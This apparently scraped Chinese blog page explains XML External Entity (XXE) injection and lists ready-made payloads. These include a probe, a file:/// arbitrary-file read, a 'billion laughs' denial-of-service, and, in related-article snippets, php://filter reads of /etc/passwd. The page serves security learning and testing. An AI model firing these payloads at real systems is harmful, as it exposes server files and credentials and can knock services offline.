XML外部实体注入(XXE)

在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁:

A4:XML外部实体注入漏洞(XXE)

A8:不安全的反序列化漏洞

A10:不足的记录和监控漏洞

验证XXE:

构造请求

<?xml version="1.0" encoding="ytf-8"?>

<!DOCTYPE Anything[

<!ENTITY myentity "sectest">

]>

<forgot><username>&myentity;</username></forgot>

查看输出是否为sectest

XXE的利用代码:

1、读取服务器任意文件

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ENTITY myentity SYSTEM "file:///location/anyfile" >]>

<abc>&myentity;</abc>

2、DDOS

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

时间: 2024-08-28 23:56:24

XML外部实体注入(XXE)的相关文章

XXE (XML External Entity Injection) :XML外部实体注入

XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可禁用外部实体注入 0x02 XXE利用 *简单文件读取 XMLInject.php <?php # Enable the ability to load external entities libxml_disable_entity_loader (false); $xmlfile = file_g

XXE攻防——XML外部实体注入

XXE攻防——XML外部实体注入 转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块.DTD 可以在 XML 文档内声明,也可以外部引用. 内部声明DTD <!DOCTYPE 根元素 [元素声明]> 引用外部DTD <!DOCTYPE 

微信支付的JAVA SDK存在漏洞,可导致商家服务器被入侵(绕过支付)XML外部实体注入防护

XML外部实体注入 例: InputStream is = Test01.class.getClassLoader().getResourceAsStream("evil.xml");//source XMLInputFactory xmlFactory = XMLInputFactory.newInstance(); XMLEventReader reader = xmlFactory.createXMLEventReader(is); //sink 如果evil.xml文件中包含如

【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/cltphp 默认后台地址: http://127.0.0.1/admin/login/index.html 默认账号密码: 后台登录名:admin  密码:admin123 测试网站首页: 0x01 代码分析 1.漏洞文件位置:/app/wchat/controller/Wchat.php第100

Pikachu-XXE(xml外部实体注入漏洞)

XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入. 具体的关于xml实体的介绍,网络上有很多,自己动手先查一下. 现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就

PHP环境 XML外部实体注入漏洞(XXE)

XXE XXE漏洞的文章网上就很多了 文件读取 <!DOCTYPE root[ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]> <root><name>&xxe;</name></root> <!DOCTYPE root[ <!ENTITY xxe SYSTEM &quo

XXE(XML外部实体注入)攻防整理

Fuzzing 1 <!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" > 2 <?xml version="1.0" encoding="ISO-8859-1"?> 3 <!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]> 4 <!DOCT

XXE(外部实体注入攻击)

XXE(XML External Entity 外部实体注入) DTD(Document Type Definition 文档类型定义)用来为XML文档定义语义约束,可以嵌入在XML文档中(内部声明)也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema参考链接:http://www.w3school.com.cn/dtd/ DTD引用方式: DTD内部声明 <!DOCTYPE 根元素[元素声明]>

XML引用外部实体触发XXE漏洞

先记录一道题 输入框中输入的内容会被显示到上面的区域中.查看后台源码,有这样的一个片段 function XHR() { var xhr; try {xhr = new XMLHttpRequest();} catch(e) { var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for (var i=0,len=IEXHRVers.length;i<